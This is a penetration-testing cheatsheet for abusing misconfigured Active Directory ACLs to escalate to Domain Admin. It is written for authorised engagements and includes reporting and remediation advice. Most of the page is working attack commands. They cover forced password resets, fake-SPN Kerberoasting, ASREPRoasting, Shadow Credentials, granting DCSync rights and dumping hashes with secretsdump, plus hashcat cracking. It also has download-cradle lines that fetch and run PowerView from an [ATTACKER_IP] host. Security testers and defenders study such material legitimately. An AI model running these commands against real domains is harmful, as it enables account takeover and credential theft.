πŸ›‘οΈ Methodology Checklist

  • Run BloodHound β€” review all ACL paths from owned principals
  • Identify: GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword
  • GenericAll on user: reset password or targeted Kerberoasting
  • GenericWrite on user: set SPN β†’ Kerberoast
  • WriteDACL: grant self DCSync rights β†’ run DCSync
  • WriteOwner: take ownership β†’ grant self full control
  • ForceChangePassword (no current pass needed): Set-DomainUserPassword (Windows) Β· bloodyAD … set password / net rpc password (Linux)
  • Document full ACL chain for report

🎯 Operational Context

Use when: BloodHound identifies ACL edges β€” WriteDACL, GenericAll, GenericWrite, ForceChangePassword, WriteOwner on target objects. Think Dumber First: BloodHound shortest paths to DA almost always include at least one ACL edge. Identify the ACL β†’ understand what right it grants β†’ abuse it. WriteDACL = grant yourself any right. GenericAll = all rights on object. Skip when: No BloodHound data β€” enumerate ACLs manually with PowerView first.


⚑ Tactical Cheatsheet

CommandTactical Outcome
Find-InterestingDomainAcl -ResolveGUIDsPowerView β€” scan domain for exploitable ACL misconfigurations
Get-DomainObjectAcl -Identity [USER] -ResolveGUIDsPowerView β€” get ACEs for a specific object
Set-DomainUserPassword -Identity [USER] -AccountPassword (ConvertTo-SecureString '[NEWPASS]' -AsPlainText -Force)Abuse ForceChangePassword (Windows) β€” reset target user’s password
bloodyAD --host [DC] -d [DOMAIN] -u [USER] -p '[PASS]' set password [TARGET] '[NEWPASS]'Abuse ForceChangePassword (Linux) β€” reset via bloodyAD
net rpc password '[TARGET]' '[NEWPASS]' -U '[DOMAIN]/[USER]%[PASS]' -S [DC]Abuse ForceChangePassword (Linux) β€” reset via Samba net rpc
Set-DomainObject -Identity [USER] -Set @{serviceprincipalname='fake/spn'}Abuse GenericWrite β€” assign fake SPN for targeted Kerberoasting
Add-DomainGroupMember -Identity '[GROUP]' -Members '[USER]'Abuse AddSelf/AddMembers β€” add user to a group
Get-DomainGroupMember -Identity '[GROUP]'Verify group membership after adding
Remove-DomainGroupMember -Identity '[GROUP]' -Members '[USER]'Revert group membership change
Set-DomainObject -Identity [USER] -Clear serviceprincipalnameRemove fake SPN assigned during GenericWrite abuse

πŸ”¬ Deep Dive & Workflow

ACL Overview

Access Control Lists (ACLs) define which principals have access to AD objects and what they can do. Key distinction:

  • DACL β€” Discretionary ACL: grants/denies access
  • SACL β€” System ACL: generates audit logs
  • ACE β€” single entry within an ACL (principal SID + rule type + access mask)

No DACL rule: Object with no DACL = full access to everyone. Empty DACL = access denied to everyone.

Vulnerability scanners cannot detect ACL misconfigurations β€” manual enumeration or BloodHound is required.

Loading PowerView

PowerView is a single script (PowerView.ps1, part of PowerSploit). Before any of the commands below work, it has to be loaded into the target session. First grab the script onto the attacker machine, then host it, then load it on the target.

Get PowerView onto the attacker machine (from the PowerSploit dev branch):

# direct download of just the script
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1
# or curl
curl -O https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1
 
# or clone the whole toolkit (PowerView.ps1 lands in PowerSploit/Recon/)
git clone https://github.com/PowerShellMafia/PowerSploit.git

On Kali/ParrotOS it also ships locally β€” e.g. /usr/share/windows-resources/powersploit/Recon/PowerView.ps1.

Host it from the attacker machine (run from the directory containing PowerView.ps1):

# HTTP β€” simplest, works with IEX/iwr/certutil
python3 -m http.server 8000
 
# or SMB β€” useful when HTTP is filtered
impacket-smbserver share . -smb2support

Option A β€” In-memory (IEX download cradle, no disk write): preferred, since it never touches disk and isn’t affected by execution policy.

IEX (New-Object Net.WebClient).DownloadString('http://[ATTACKER_IP]:8000/PowerView.ps1')
 
# PowerShell 3+ alternative
IEX (iwr -UseBasicParsing 'http://[ATTACKER_IP]:8000/PowerView.ps1')

Option B β€” Transfer to disk, then import:

# download
iwr -UseBasicParsing 'http://[ATTACKER_IP]:8000/PowerView.ps1' -OutFile C:\Temp\PowerView.ps1
# or: certutil -urlcache -split -f http://[ATTACKER_IP]:8000/PowerView.ps1 C:\Temp\PowerView.ps1
# or from the SMB share: copy \\[ATTACKER_IP]\share\PowerView.ps1 C:\Temp\
 
# load (either works)
Import-Module C:\Temp\PowerView.ps1
. C:\Temp\PowerView.ps1

Verify it loaded β€” run any PowerView function:

Get-DomainUser -Identity [USER]

If execution policy blocks the disk import, launch with powershell -ep bypass or just use the in-memory IEX method (Option A), which execution policy does not affect.

Finding Exploitable ACLs

# load PowerView first (see "Loading PowerView" above), then:
Find-InterestingDomainAcl -ResolveGUIDs

This resolves GUIDs to human-readable right names. Focus on ACEs where your compromised user (or groups it’s in) has non-standard rights over high-value targets.

BloodHound query: Outbound Control Rights on any user node β€” shows all objects the user can control and how.

Exploitable ACE Types

RightTargetExploitation
ForceChangePasswordUserReset password without knowing current one
GenericWriteUserAssign fake SPN β†’ targeted Kerberoast
GenericWriteGroupAdd users to group
GenericAllUser/ComputerFull control β€” Kerberoast, reset password, or LAPS read
AddSelfGroupAdd yourself to the group
AddMembersGroupAdd any user to the group
WriteDACLObjectWrite new ACEs β€” grant yourself DCSync rights
ReadGMSAPasswordgMSAExtract Group Managed Service Account password

Attack Workflows

ForceChangePassword β€” Windows (PowerView):

$NewPass = ConvertTo-SecureString '[NEWPASS]' -AsPlainText -Force
Set-DomainUserPassword -Identity [USER] -AccountPassword $NewPass

ForceChangePassword β€” Linux (from a Kali/attacker box): same primitive, no shell on the target needed β€” ideal when you hold a user with the edge but no WinRM.

# bloodyAD (cleanest) β€” password, or pass-the-hash with  -p ':[NTHASH]'
bloodyAD --host [DC] -d [DOMAIN] -u [USER] -p '[PASS]' set password [TARGET_USER] '[NEWPASS]'
 
# net rpc (Samba) β€” password, or PtH with --pw-nt-hash
net rpc password '[TARGET_USER]' '[NEWPASS]' -U '[DOMAIN]/[USER]%[PASS]' -S [DC]
net rpc password '[TARGET_USER]' '[NEWPASS]' -U '[DOMAIN]/[USER]%[NTHASH]' -S [DC] --pw-nt-hash
 
# rpcclient (interactive)
rpcclient -U '[DOMAIN]/[USER]%[PASS]' [DC]
#   then at the prompt:  setuserinfo2 [TARGET_USER] 23 '[NEWPASS]'

ForceChangePassword overwrites the target’s password β€” destructive, noisy, and irreversible. Where stealth matters and the edge allows, prefer Shadow Credentials or targeted Kerberoast (below). Full bloodyAD reference: Master_BloodyAD.

GenericWrite β†’ Targeted Kerberoasting:

# Assign fake SPN
Set-DomainObject -Identity [USER] -Set @{serviceprincipalname='fake/spn'}
 
# Now Kerberoast that account
Get-DomainUser -Identity [USER] | Get-DomainSPNTicket -Format Hashcat
 
# Clean up
Set-DomainObject -Identity [USER] -Clear serviceprincipalname

GenericWrite β€” Linux (no Windows shell needed): write the SPN with bloodyAD, then roast with Step 2 β€” or do set β†’ roast β†’ cleanup in one shot:

# Set the SPN from Kali (clear later with the same command and  -v '' )
bloodyAD --host [DC] -d [DOMAIN] -u [CONTROLLED_USER] -p '[PASSWORD]' set object [USER] servicePrincipalName -v 'fake/spn'
 
# One-shot β€” temp SPN β†’ roast every writable account β†’ auto-remove
targetedKerberoast.py -v -d [DOMAIN] -u [CONTROLLED_USER] -p '[PASSWORD]'

Step 1 β€” Confirm the SPN write actually worked. Before assuming the ACL abuse failed, verify the attribute landed. Read it straight back:

Get-DomainUser -Identity [USER] -Properties serviceprincipalname | Select-Object serviceprincipalname
# Expected output:
#   fake/spn

If fake/spn comes back, GenericWrite worked β€” the ACL abuse is fine. If Get-DomainSPNTicket then fails anyway, the problem is the WinRM/Kerberos context on the shell (no usable TGT to request the service ticket), not the ACL. Don’t keep re-running the SPN write β€” switch to the Linux fallback below.

Step 2 β€” Linux fallback: request the TGS from Kali. Roast the SPN-bearing account remotely with Impacket instead of fighting the WinRM session.

# Kerberos is time-sensitive β€” sync to the DC first (KRB_AP_ERR_SKEW if clocks drift)
sudo ntpdate -u [DC_IP]
 
# Request the TGS for the now-SPN'd target user
impacket-GetUserSPNs -dc-ip [DC_IP] [DOMAIN]/[CONTROLLED_USER]:'[PASSWORD]' -request-user [USER] -outputfile roast.hash
 
# Crack it
hashcat -m 13100 roast.hash /usr/share/wordlists/rockyou.txt

Cleanup. Clear the fake SPN once you have the hash:

Set-DomainObject -Identity [USER] -Clear serviceprincipalname

⚠️ Record the original SPNs first. -Clear serviceprincipalname wipes the whole attribute. Only clear blindly if the account had no SPN to begin with (a normal user account usually doesn’t); otherwise capture the existing values with the Get-DomainUser ... -Properties serviceprincipalname read above and restore them with -Set instead.

GenericAll on a User: Full control over the user object β€” it grants everything the two workflows above do, plus more. Pick the quietest option that fits; password reset is the loudest (locks the real user out), Shadow Credentials is the stealthiest (no password change).

# Option 1 β€” Reset the password (same as ForceChangePassword)
Set-DomainUserPassword -Identity [USER] -AccountPassword (ConvertTo-SecureString '[NEWPASS]' -AsPlainText -Force)
 
# Option 2 β€” Targeted Kerberoasting (same as GenericWrite: set SPN, roast, clean up)
Set-DomainObject -Identity [USER] -Set @{serviceprincipalname='fake/spn'}
Get-DomainUser -Identity [USER] | Get-DomainSPNTicket -Format Hashcat   # crack -m 13100
Set-DomainObject -Identity [USER] -Clear serviceprincipalname
 
# Option 3 β€” Targeted ASREPRoasting (flip DONT_REQ_PREAUTH, roast, revert)
Set-DomainObject -Identity [USER] -XOR @{useraccountcontrol=4194304}
# then ASREPRoast (Rubeus.exe asreproast /user:[USER] /format:hashcat  β€” crack -m 18200)
Set-DomainObject -Identity [USER] -XOR @{useraccountcontrol=4194304}   # revert

GenericAll β€” Linux (full control = take your pick from Kali):

bloodyAD --host [DC] -d [DOMAIN] -u [CONTROLLED_USER] -p '[PASSWORD]' set password [USER] '[NEWPASS]'                       # reset (loud)
bloodyAD --host [DC] -d [DOMAIN] -u [CONTROLLED_USER] -p '[PASSWORD]' set object [USER] servicePrincipalName -v 'fake/spn'  # β†’ Kerberoast
# stealthiest: Shadow Credentials (pywhisker / certipy) β€” see just below

Shadow Credentials (stealthiest β€” writes msDS-KeyCredentialLink, then PKINIT for a TGT + NT hash; no password reset). Needs Whisker/pywhisker + Rubeus/PKINITtools, not PowerView:

# Linux
pywhisker.py -d [DOMAIN] -u [CONTROLLED_USER] -p '[PASSWORD]' --target [USER] --action add
# then PKINIT for a TGT and the NT hash (gettgtpkinit.py / PKINITtools)
# one-shot (write key β†’ PKINIT β†’ print NT hash):
certipy shadow auto -u [CONTROLLED_USER]@[DOMAIN] -p '[PASSWORD]' -account [USER]
# Windows
Whisker.exe add /target:[USER]
Rubeus.exe asktgt /user:[USER] /certificate:[BASE64_PFX] /password:'[PFX_PASS]' /getcredentials

AddSelf/AddMembers β†’ Group Escalation:

Add-DomainGroupMember -Identity '[GROUP]' -Members [USER]
Get-DomainGroupMember -Identity '[GROUP]'   # verify
# ... abuse the access ...
Remove-DomainGroupMember -Identity '[GROUP]' -Members [USER]  # revert

AddSelf/AddMembers β€” Linux:

bloodyAD --host [DC] -d [DOMAIN] -u [CONTROLLED_USER] -p '[PASSWORD]' add groupMember '[GROUP]' [USER]
#   revert:  ... remove groupMember '[GROUP]' [USER]
net rpc group addmem '[GROUP]' '[USER]' -U '[DOMAIN]/[CONTROLLED_USER]%[PASSWORD]' -S [DC]   # Samba alternative

WriteDACL β†’ DCSync:

# Grant yourself DCSync rights over the domain object
Add-DomainObjectAcl -TargetIdentity "DC=[DOMAIN],DC=[TLD]" -PrincipalIdentity [USER] -Rights DCSync

Then use secretsdump.py or Mimikatz DCSync as the modified user.

WriteDACL β€” Linux (Impacket dacledit grants DCSync, then dump):

dacledit.py -action write -rights DCSync -principal '[CONTROLLED_USER]' \
  -target-dn 'DC=[DOMAIN],DC=[TLD]' '[DOMAIN]/[CONTROLLED_USER]:[PASSWORD]'
impacket-secretsdump '[DOMAIN]/[CONTROLLED_USER]:[PASSWORD]'@[DC] -just-dc-user [TARGET]

WriteOwner β†’ take ownership β†’ full control: Rewrite the object’s owner to yourself, grant yourself a right (e.g. GenericAll), then abuse it.

# Windows (PowerView)
Set-DomainObjectOwner -Identity [TARGET] -OwnerIdentity [CONTROLLED_USER]
Add-DomainObjectAcl  -TargetIdentity [TARGET] -PrincipalIdentity [CONTROLLED_USER] -Rights All
# Linux (Impacket owneredit β†’ dacledit β†’ abuse)
owneredit.py -action write -owner '[CONTROLLED_USER]' -target '[TARGET]' '[DOMAIN]/[CONTROLLED_USER]:[PASSWORD]'
dacledit.py  -action write -rights FullControl -principal '[CONTROLLED_USER]' -target '[TARGET]' '[DOMAIN]/[CONTROLLED_USER]:[PASSWORD]'
# β†’ then abuse the granted control: bloodyAD set password / set SPN as above

Restored object lost inherited rights (un-tombstone gotcha): When you reanimate a deleted AD object (e.g. via the AD Recycle Bin / Restore-ADObject), it comes back without the ACEs it used to inherit from its parent OU β€” inheritance is not automatically reasserted on restore. The result looks like an ACL bug: BloodHound/your edge said you control the object, but every primitive above fails because the object’s DACL is effectively bare. Fix it by explicitly reapplying inheritable rights from a principal that controls the parent OU, then proceed with the normal abuse.

# Linux (Impacket) β€” from a principal that controls the OU, write inheritable FullControl
dacledit.py -action write -rights FullControl -inheritance \
  -principal '[CONTROLLED_USER]' -target-dn 'OU=[OU],DC=[DOMAIN],DC=[TLD]' \
  '[DOMAIN]/[CONTROLLED_USER]:[PASSWORD]'
# inheritance now flows down to the restored child object β†’ resume the normal abuse
# Windows (PowerView) β€” take ownership of the OU if needed, then grant inheritable control
Set-DomainObjectOwner -Identity 'OU=[OU],DC=[DOMAIN],DC=[TLD]' -OwnerIdentity [CONTROLLED_USER]
Add-DomainObjectAcl   -TargetIdentity 'OU=[OU],DC=[DOMAIN],DC=[TLD]' -PrincipalIdentity [CONTROLLED_USER] -Rights All
# rights inherit down to the reanimated object; then abuse it (reset password / set SPN / Shadow Creds)

Operational Notes

  • These are destructive operations β€” they modify the live AD environment
  • Document every change: what was modified, when, the original value
  • Revert all changes immediately after demonstrating impact
  • Always consult the client before executing password resets or group membership changes in production

πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
PowerView Set-DomainObjectAcl failsExecution policy or AVLoad via IEX; run from memory; ensure targeting correct object DN
ForceChangePassword blocked by GPOFine-grained password policyPolicy applies to target account; still works but new password must meet PSO requirements
GenericWrite on user but no shellTargeted KerberoastingAdd fake SPN: Set-DomainObject [USER] -Set @{serviceprincipalname='fake/FQDN'}; Kerberoast the SPN
SPN write succeeds but Get-DomainSPNTicket fails in Evil-WinRMWinRM/Kerberos context, not the ACL β€” shell has no usable TGTVerify the write landed (Get-DomainUser [USER] -Properties serviceprincipalname); then roast from Kali with impacket-GetUserSPNs ... -request-user [USER] (sync time first with ntpdate -u [DC_IP])
WriteDACL applied but no effectReplication delay on DCWait 60 seconds for AD replication; re-check with Get-DomainObjectAcl
BloodHound shows ACL but PowerView can’t confirmDifferent data collection timeRe-run SharpHound collection; ACLs change; stale BloodHound data misleads
Restored (un-tombstoned) object has none of its expected rightsA reanimated AD object does not automatically regain inherited ACEs from its parent OUReapply inheritance from a principal that controls the OU β€” see β€œRestored object lost inherited rights” below (Linux dacledit.py / Windows Add-DomainObjectAcl + Set-DomainObjectOwner)

πŸ“ Reporting Trigger

Finding Title: Active Directory ACL Misconfiguration Enables Privilege Escalation Impact: Misconfigured ACLs (GenericAll, WriteDACL, ForceChangePassword) on AD objects allow a low-privileged user to escalate to Domain Admin without exploiting any software vulnerability, purely through legitimate AD operations. Root Cause: Excessive AD object permissions accumulated through IT operations without periodic ACL review. No monitoring on ACL modification or sensitive object permission grants. Recommendation: Conduct AD ACL audit using BloodHound or Purple Knight. Remove excessive permissions on sensitive objects (Domain Admins, krbtgt, GPOs). Implement AD Tiering model. Alert on ACL modifications to Tier 0 objects via Microsoft Defender for Identity.